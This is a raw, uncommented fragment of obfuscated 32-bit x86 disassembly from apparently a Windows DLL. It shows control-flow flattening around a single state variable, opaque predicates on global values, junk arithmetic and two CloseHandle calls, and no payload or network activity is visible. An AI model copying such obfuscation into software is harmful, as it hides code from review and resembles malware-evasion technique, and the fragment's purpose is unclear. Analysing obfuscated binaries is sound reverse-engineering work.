mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x18], eax
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0xcc17c2a4
sub edx, 1
add edx, 0xcc17c2a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed657e07
mov ecx, 0x61717c8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x1a6e842a
sub edx, 1
sub edx, 0x1a6e842a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x42fd20b7
mov ecx, 0x30bc1059
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb61e1a4e
mov ecx, 0x86aa19b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0xd436203b
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc545a9
mov ecx, 0x68d11234
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2bca7c5
mov ecx, 0xc3969133
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0x75c955e9
jmp 0x10010805
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x89813bb3
jmp 0x10010805
mov dword [ebp - 0x154], 0xb4d63443
jmp 0x10010805
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x154], 0xa05e53f8
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xd9224a
sub edx, 1
add edx, 0xd9224a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc20f191e
mov ecx, 0xeed79042
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xc094cdd1
jmp 0x10010805
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x154], 0xffd3178d
jmp 0x10010805
mov dword [ebp - 0x154], 0x66c979eb
jmp 0x10010805
mov dword [ebp - 0x154], 0xf5400832
jmp 0x10010805
mov dword [ebp - 0x154], 0xcb4c474c
jmp 0x10010805
mov dword [ebp - 0x154], 0xbd92471a
jmp 0x10010805
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x154], 0x3a091cc1
jmp 0x10010805
mov dword [ebp - 0x154], 0x97d78dd2
jmp 0x10010805
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
sub ecx, 0x18bc565b
add ecx, 1
add ecx, 0x18bc565b
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xc330003c
jmp 0x10010805
mov dword [ebp - 0x154], 0xc3969133
jmp 0x10010805
mov dword [ebp - 0x154], 0x76317e8e
jmp 0x10010805
mov dword [ebp - 0x154], 0x7866ac4f
jmp 0x100087ff